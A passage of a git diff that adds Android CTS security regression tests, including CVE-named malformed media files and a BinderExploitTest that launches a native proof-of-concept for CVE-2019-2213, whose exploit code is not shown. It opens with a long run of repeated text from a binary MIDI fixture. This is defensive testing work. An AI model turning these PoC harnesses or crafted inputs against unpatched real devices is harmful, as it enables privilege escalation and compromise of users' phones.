donledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonledonr5;@32767)
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_127312550.mid b/tests/tests/security/res/raw/bug_127312550.mid
new file mode 100644
index 0000000..ea66e75
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_127312550.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_127313223.mid b/tests/tests/security/res/raw/bug_127313223.mid
new file mode 100644
index 0000000..6558be7
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_127313223.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_127313537.mid b/tests/tests/security/res/raw/bug_127313537.mid
new file mode 100644
index 0000000..658ab92
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_127313537.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_127313764.mid b/tests/tests/security/res/raw/bug_127313764.mid
new file mode 100644
index 0000000..bda2dfb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_127313764.mid
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_23285192.mp3 b/tests/tests/security/res/raw/bug_23285192.mp3
new file mode 100644
index 0000000..b86e4d8
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_23285192.mp3
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_25928803.mp4 b/tests/tests/security/res/raw/bug_25928803.mp4
new file mode 100644
index 0000000..54d07d5
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_25928803.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_26366256.midi b/tests/tests/security/res/raw/bug_26366256.midi
deleted file mode 100644
index 5114d92..0000000
--- a/tests/tests/security/res/raw/bug_26366256.midi
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_26399350_avc.mp4 b/tests/tests/security/res/raw/bug_26399350_avc.mp4
new file mode 100644
index 0000000..e6df897
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_26399350_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_avc.mp4 b/tests/tests/security/res/raw/bug_33090864_avc.mp4
new file mode 100644
index 0000000..f8e2a27
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_33090864_framelen.mp4 b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
new file mode 100644
index 0000000..ffaa6ac
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33090864_framelen.mp4
@@ -0,0 +1,4 @@
+45
+3058
+651
+2281
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_36279112.mp4 b/tests/tests/security/res/raw/bug_36279112.mp4
new file mode 100644
index 0000000..1a970ff
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36279112.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_37203196_framelen.mp4 b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
new file mode 100644
index 0000000..223b756
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_framelen.mp4
@@ -0,0 +1,8 @@
+43
+3015
+2122
+1310
+1599
+4391
+3429
+15
diff --git a/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4 b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
new file mode 100644
index 0000000..1b59a7e
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_37203196_mpeg2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
new file mode 100644
index 0000000..261e173
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_1_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
new file mode 100644
index 0000000..e8f1c41
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_2_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
new file mode 100644
index 0000000..ecc10cb
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_3_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4 b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
new file mode 100644
index 0000000..34851ad
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_63522067_4_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_68664359.mid b/tests/tests/security/res/raw/bug_68664359.mid
deleted file mode 100644
index f816d82..0000000
--- a/tests/tests/security/res/raw/bug_68664359.mid
+++ /dev/null
@@ -1 +0,0 @@
-DK:@~kkkkk
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/bug_68953854.mid b/tests/tests/security/res/raw/bug_68953854.mid
deleted file mode 100644
index ce9432d..0000000
--- a/tests/tests/security/res/raw/bug_68953854.mid
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0637.mp4 b/tests/tests/security/res/raw/cve_2017_0637.mp4
new file mode 100644
index 0000000..5765dbb
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0637.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_0640_avc.mp4 b/tests/tests/security/res/raw/cve_2017_0640_avc.mp4
new file mode 100644
index 0000000..71ed5dd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0640_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_avc.mp4 b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
new file mode 100644
index 0000000..a627ec6
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13204_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4 b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
new file mode 100644
index 0000000..5fc9458
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13204_framelen.mp4
@@ -0,0 +1,98 @@
+22
+130
+83
+102
+85
+97
+73
+86
+79
+80
+69
+80
+78
+82
+81
+77
+65
+85
+83
+91
+72
+88
+74
+87
+72
+66
+66
+77
+74
+94
+66
+59
+59
+70
+64
+76
+59
+88
+59
+83
+75
+72
+72
+92
+83
+77
+52
+66
+57
+57
+58
+91
+69
+86
+67
+63
+68
+89
+73
+72
+69
+58
+65
+79
+82
+0
+239
+189
+168
+151
+137
+142
+156
+127
+149
+157
+152
+151
+113
+133
+158
+104
+114
+138
+144
+147
+126
+157
+132
+107
+100
+165
+154
+112
+164
+131
+111
+143
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4 b/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4
new file mode 100644
index 0000000..8b4858b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13233_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2017_13318.mp4 b/tests/tests/security/res/raw/cve_2017_13318.mp4
new file mode 100644
index 0000000..7ab776b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_13318.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2018_11287.mp4 b/tests/tests/security/res/raw/cve_2018_11287.mp4
new file mode 100644
index 0000000..796867b
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2018_11287.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10533.mp4 b/tests/tests/security/res/raw/cve_2019_10533.mp4
new file mode 100644
index 0000000..619a0f3
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10533.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10534.mp4 b/tests/tests/security/res/raw/cve_2019_10534.mp4
new file mode 100644
index 0000000..bdcc52d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10534.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_10541.mp4 b/tests/tests/security/res/raw/cve_2019_10541.mp4
new file mode 100644
index 0000000..6b1d167
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_10541.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4 b/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4
new file mode 100644
index 0000000..e8899bd
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2106_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2129.3gp b/tests/tests/security/res/raw/cve_2019_2129.3gp
new file mode 100644
index 0000000..c461081
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2129.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2322.mkv b/tests/tests/security/res/raw/cve_2019_2322.mkv
new file mode 100644
index 0000000..8431f98
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2322.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2327.mkv b/tests/tests/security/res/raw/cve_2019_2327.mkv
new file mode 100644
index 0000000..48a8559
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2327.mkv
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2334.mkv b/tests/tests/security/res/raw/cve_2019_2334.mkv
new file mode 100644
index 0000000..7385338
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2334.mkv
Binary files differ
diff --git a/tests/tests/security/res/xml/authenticator.xml b/tests/tests/security/res/xml/authenticator.xml
new file mode 100644
index 0000000..9096201
--- /dev/null
+++ b/tests/tests/security/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts"
+    android:label="AuthenticatorTest" />
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 5a035dd..47730e1 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,11 +15,15 @@
  */
 package android.security.cts;
 
+import android.app.ActivityManager;
 import android.os.IBinder;
 import android.platform.test.annotations.SecurityTest;
+import android.util.Log;
 
 import junit.framework.TestCase;
 
+import java.lang.reflect.InvocationTargetException;
+
 @SecurityTest
 public class ActivityManagerTest extends TestCase {
 
@@ -44,4 +48,32 @@
             // Patched devices should throw this exception
         }
     }
+
+    // b/144285917
+    @SecurityTest(minPatchLevel = "2020-05")
+    public void testActivityManager_attachNullApplication() {
+        SecurityException securityException = null;
+        Exception unexpectedException = null;
+        try {
+            final Object iam = ActivityManager.class.getDeclaredMethod("getService").invoke(null);
+            Class.forName("android.app.IActivityManager").getDeclaredMethod("attachApplication",
+                    Class.forName("android.app.IApplicationThread"), long.class)
+                    .invoke(iam, null /* thread */, 0 /* startSeq */);
+        } catch (SecurityException e) {
+            securityException = e;
+        } catch (InvocationTargetException e) {
+            if (e.getCause() instanceof SecurityException) {
+                securityException = (SecurityException) e.getCause();
+            } else {
+                unexpectedException = e;
+            }
+        } catch (Exception e) {
+            unexpectedException = e;
+        }
+        if (unexpectedException != null) {
+            Log.w("ActivityManagerTest", "Unexpected exception", unexpectedException);
+        }
+
+        assertNotNull("Expect SecurityException by attaching null application", securityException);
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
new file mode 100644
index 0000000..27b6021
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -0,0 +1,48 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.content.res.AssetManager;
+import android.content.res.XmlResourceParser;
+import android.platform.test.annotations.SecurityTest;
+
+import com.android.compatibility.common.util.CtsAndroidTestCase;
+
+@SecurityTest
+public class AssetManagerTest extends CtsAndroidTestCase {
+
+    // b/144028297
+    @SecurityTest(minPatchLevel = "2020-04")
+    public void testCloseThenFinalize() throws Exception {
+        final XmlResourceParser[] parser = {null};
+        final AssetManager[] assetManager = {AssetManager.class.newInstance()};
+        parser[0] = assetManager[0].openXmlResourceParser(
+                "res/xml/audio_assets.xml");
+        assetManager[0].close();
+        assetManager[0] = null;
+
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().runFinalization();
+
+        parser[0] = null;
+
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().gc();
+        Runtime.getRuntime().runFinalization();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
new file mode 100644
index 0000000..abb0370
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.system.Os;
+import android.os.Looper;
+import android.os.Message;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+
+import android.hardware.display.VirtualDisplay;
+
+import java.io.IOException;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+
+import static org.junit.Assert.assertTrue;
+import android.test.AndroidTestCase;
+import androidx.test.InstrumentationRegistry;
+import android.platform.test.annotations.SecurityTest;
+
+import java.util.ArrayList;
+import android.util.Log;
+
+import android.graphics.Bitmap;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.system.ErrnoException;
+import android.widget.TextView;
+
+import java.io.File;
+import java.util.List;
+
+class Exchange extends IBinderExchange.Stub {
+    IBinder binder;
+    BinderExploitTest.CVE_2019_2213_Activity xpl;
+    Exchange(BinderExploitTest.CVE_2019_2213_Activity xpl) {
+        this.xpl = xpl;
+    }
+    @Override
+    public void putBinder(IBinder bnd) {
+        this.xpl.addLog("put binder");
+        binder = bnd;
+    }
+    @Override
+    public IBinder getBinder() {
+        this.xpl.addLog("get binder");
+        return binder;
+    }
+}
+
+class ExploitThread extends Thread {
+    static {
+        System.loadLibrary("cve_2019_2213_jni");
+    }
+    BinderExploitTest.CVE_2019_2213_Activity xpl;
+    String pipedir;
+
+    ExploitThread(BinderExploitTest.CVE_2019_2213_Activity xpl, String pipedir) {
+        this.xpl = xpl;
+        this.pipedir = pipedir;
+    }
+
+    public void run() {
+        runxpl(pipedir);
+    }
+
+    void addLog(String msg) {
+        xpl.addLog(msg);
+    }
+
+    public native void runxpl(String pipedir);
+}
+
+@SecurityTest
+public class BinderExploitTest extends AndroidTestCase {
+
+    static final String TAG = BinderExploitTest.class.getSimpleName();
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+    public CVE_2019_2213_Activity mActivity;
+    private void launchActivity(Class<? extends Activity> clazz) {
+        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
+        final Intent intent = new Intent(Intent.ACTION_MAIN);
+        intent.setClassName(SECURITY_CTS_PACKAGE_NAME, clazz.getName());
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(intent);
+    }
+
+    /**
+     * b/141496757
+     */
+    @SecurityTest(minPatchLevel = "2019-11")
+    public void testPoc_cve_2019_2213() throws Exception {
+        Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
+
+        //  set timeout to 5 minutes
+        int timeout = 60;
+
+        //  run test activity
+        launchActivity(CVE_2019_2213_Activity.class);
+        //  main loop to check forked processs bahaviors
+        while (timeout-- > 0) {
+            SystemClock.sleep(1000);
+        }
+        Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 finished."));
+    }
+
+    public static class CVE_2019_2213_Activity extends Activity {
+        ActivityManager actmgr;
+        String log = "";
+
+        synchronized void addLog(String msg) {
+            Log.i("txnuaf", msg);
+            log += msg + "\n";
+            Log.i(TAG, log);
+        }
+
+        ActivityManager.AppTask getAppTask() {
+            List<ActivityManager.AppTask> list = actmgr.getAppTasks();
+            for (int i = 0; i < list.size(); i++) {
+                ActivityManager.RecentTaskInfo info = list.get(i).getTaskInfo();
+                if (info.baseIntent.getExtras() != null)
+                    return list.get(i);
+            }
+            return null;
+        }
+
+        void setUpBundle() throws Exception {
+            actmgr = (ActivityManager)getSystemService(ACTIVITY_SERVICE);
+            ActivityManager.AppTask t = getAppTask();
+            if (t != null)
+                t.finishAndRemoveTask();
+            Intent in = new Intent(this, CVE_2019_2213_Activity.class);
+            Bundle extras = new Bundle();
+            extras.putBinder("bnd", new Exchange(this));
+            in.putExtras(extras);
+            in.setFlags(in.getFlags() | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+            Bitmap bmp = Bitmap.createBitmap(1, 1, Bitmap.Config.ALPHA_8);
+            if (actmgr.addAppTask(this, in, null, bmp) == -1)
+                throw new Exception("addAppTask failed");
+            t = getAppTask();
+            if (t == null)
+                throw new Exception("no appTask with extras");
+            Bundle b = t.getTaskInfo().baseIntent.getExtras();
+            if (!b.containsKey("bnd"))
+                throw new Exception("no bnd key");
+            addLog("apptask added");
+        }
+
+        public String makePipes() throws ErrnoException {
+            File dir = getDir("xpldat", 0);
+            for (int i = 0; i < 8; i++) {
+                File fifo = new File(dir, "p" + i);
+                if (fifo.exists())
+                    fifo.delete();
+                Os.mkfifo(fifo.getPath(), 0600);
+            }
+            return dir.getPath();
+        }
+
+        @Override
+        protected void onCreate(Bundle savedInstanceState) {
+            super.onCreate(savedInstanceState);
+
+            try {
+                setUpBundle();
+                (new ExploitThread(this, makePipes())).start();
+            } catch (Exception e) {
+                addLog(e.toString());
+            }
+        }
+    }
+
+
+}
diff --git a/tests/tests/security/src/android/security/cts/IBinderExchange.java b/tests/tests/security/src/android/security/cts/IBinderExchange.java
new file mode 100644
index 0000000..765baac
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/IBinderExchange.java
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/*
+ * This file is auto-generated in Android Studio for BinderExploitTest.  DO NOT MODIFY.
+ */
+package android.security.cts;
+
+public interface IBinderExchange extends android.os.IInterface {
+    /** Local-side IPC implementation stub class. */
+    public static abstract class Stub extends android.os.Binder
+        implements android.security.cts.IBinderExchange {
+        private static final java.lang.String DESCRIPTOR = "android.security.cts.IBinderExchange";
+
+        /** Construct the stub at attach it to the interface. */
+        public Stub() {
+            this.attachInterface(this, DESCRIPTOR);
+        }
+
+        /**
+         * Cast an IBinder object into an android.security.cts.IBinderExchange
+         * interface, generating a proxy if needed.
+         */
+        public static android.security.cts.IBinderExchange asInterface(android.os.IBinder obj) {
+            if ((obj == null)) {
+                return null;
+            }
+            android.os.IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
+            if (((iin != null) && (iin instanceof android.security.cts.IBinderExchange))) {
+                return ((android.security.cts.IBinderExchange) iin);
+            }
+            return new android.security.cts.IBinderExchange.Stub.Proxy(obj);
+        }
+
+        @Override
+        public android.os.IBinder asBinder() {
+            return this;
+        }
+
+        @Override
+        public boolean onTransact(
+            int code, android.os.Parcel data, android.os.Parcel reply, int flags)
+                throws android.os.RemoteException {
+            java.lang.String descriptor = DESCRIPTOR;
+            switch (code) {
+            case INTERFACE_TRANSACTION: {
+                reply.writeString(descriptor);
+                return true;
+            }
+            case TRANSACTION_putBinder: {
+                data.enforceInterface(descriptor);
+                android.os.IBinder _arg0;
+                _arg0 = data.readStrongBinder();
+                this.putBinder(_arg0);
+                reply.writeNoException();
+                return true;
+            }
+            case TRANSACTION_getBinder: {
+                data.enforceInterface(descriptor);
+                android.os.IBinder _result = this.getBinder();
+                reply.writeNoException();
+                reply.writeStrongBinder(_result);
+                return true;
+            }
+            default: {
+                return super.onTransact(code, data, reply, flags);
+            }
+            }
+        }
+
+        private static class Proxy implements android.security.cts.IBinderExchange {
+            private android.os.IBinder mRemote;
+
+            Proxy(android.os.IBinder remote) {
+                mRemote = remote;
+            }
+
+            @Override
